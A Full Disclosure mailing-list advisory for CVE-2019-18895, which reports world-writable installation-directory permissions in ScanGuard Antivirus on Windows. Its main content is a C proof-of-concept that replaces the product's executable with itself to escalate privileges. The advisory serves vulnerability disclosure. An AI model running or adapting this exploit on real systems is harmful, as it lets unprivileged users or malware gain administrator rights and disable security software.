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Date: Tue, 12 Nov 2019 22:24:44 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] ScanGuard Antivirus (latest version) / Insecure Permissions

[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/SCANGUARD-ANTIVIRUS-INSECURE-PERMISSIONS.txt
[+] ISR: ApparitionSec


[Vendor]
https://www.scanguard.com


[Product]
ScanGuard Antivirus
ScanGuard_Setup.exe Hash: 1a63c67a249da0c2e9abd09d35c3c65d

Complete Antivirus & Security Software


[Vulnerability Type]
Insecure Permissions


[CVE Reference]
CVE-2019-18895


[Affected Product Code Base]
ScanGuard Antivirus - latest


[Affected Component]
Permissions on installation directory


[Attack Type]
Local


[Impact Code execution]
true


[Impact Escalation of Privileges]
true


[Impact Information Disclosure]
true


[Attack Vectors]
Low integrity malware or non-privileged user replaces an executable to gain
Admin privileges.


[Reference]
https://support.scanguard.com/en/kb/22/upgrades-available


[Security Issue]
Scanguard through 2019-11-12 on Windows has Insecure Permissions for the
installation directory, leading to
privilege escalation via a Trojan horse executable file.

The product sets weak access control restrictions, as permissions are set
to Full Control for Everyone group.
This can allow low integrity malware the ability to replace ScanGuard
executables.


C:\Program Files (x86)\ScanGuard\bins BUILTIN\Users:(OI)(CI)(ID)F
                                      Everyone:(OI)(CI)(ID)F
                                      NT SERVICE\TrustedInstaller:(ID)F
                                      NT
SERVICE\TrustedInstaller:(CI)(IO)(ID)F
                                      NT AUTHORITY\SYSTEM:(ID)F


[Exploit/POC]

#include <stdio.h>
#include <windows.h>
#define TARGET "C:\\Program Files (x86)\\ScanGuard\\ScanGuard.exe"
#define DISABLED_TARGET "C:\\Program Files (x86)\\ScanGuard\\~.conf"

/* ScanGuard EoP
  PoC By hyp3rlinx */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib &
FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){

  if(!FileExists(DISABLED_TARGET)){
    rename(TARGET, DISABLED_TARGET);
    printf("[+] ScanGuard Antivirus EoP PoC\n");
    Sleep(300);
    printf("[+] Disabled ScanGuard.exe ...\n");
    Sleep(300);
  }else{
  PWNED=TRUE;
  }

  char fname[MAX_PATH];
  char newLoc[]=TARGET;

  DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
  if (size){
     if(!PWNED){
        printf("[+] Copying exploit to vuln dir...\n");
        Sleep(300);
        CopyFile(fname, newLoc, FALSE);
        printf("[+] Replaced legit ScanGuard...\n");
        Sleep(300);
        printf("[+] Done!\n");
        Sleep(300);
        MoveFile(fname, "c:\\Program Files
(x86)\\ScanGuard\\ScamGuard.lnk");
        Sleep(2000);
        exit(0);
     }else{
      if(FileExists("ScamGuard.lnk")){
   system("DEL /f ScamGuard.lnk");
  }
      printf("[+] ScamGuard PWNED!!!");
      printf("[+] By hyp3rlinx\n");
      system("pause");
     }
  }
}


[Disclosure Timeline]
Vendor Notification: September 16, 2019
Received vendor acknowledgement: September 16, 2019
Second contact follow up: September 29, 2019
No more vendor replies.
November 12, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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